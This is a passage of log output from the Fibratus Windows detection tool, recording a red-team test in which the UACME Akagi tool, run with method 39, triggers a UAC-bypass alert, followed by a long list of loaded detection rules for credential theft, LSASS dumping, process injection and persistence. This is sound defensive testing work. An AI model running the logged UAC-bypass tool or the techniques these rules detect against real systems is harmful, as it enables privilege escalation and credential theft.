exchange=>fibratus durable=>false passive=>false tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false method=>POST timeout=>5s enabled=>false endpoints=>[]]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false enabled=>false excluded-procs=>[] skip-registry=>false fastscan=>true excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:20:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:21:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:21:13+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler MMC DLL Hijack]. Text: Event(s): + Seq: 1769069 + Pid: 8844 + Tid: 11676 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-25 15:21:05.8386178 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN_IF, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffe1012fa69a60, file_path➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, irp➜ ffffe101198285b8, share_mask➜ , status➜ Success, tid➜ 11676, type➜ File + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler MMC DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8844 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1783537 + Pid: 21496 + Tid: 19832 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 15:21:07.5186959 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 4397ee000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe1012b459080, name➜ cmd.exe, pid➜ 2512, ppid➜ 21496, real_ppid➜ 21496, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 15:21:07.5186478 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler MMC DLL Hijack + + Pid: 21496 + Ppid: 8844 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T15:34:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:34:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:34:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:37:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:37:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 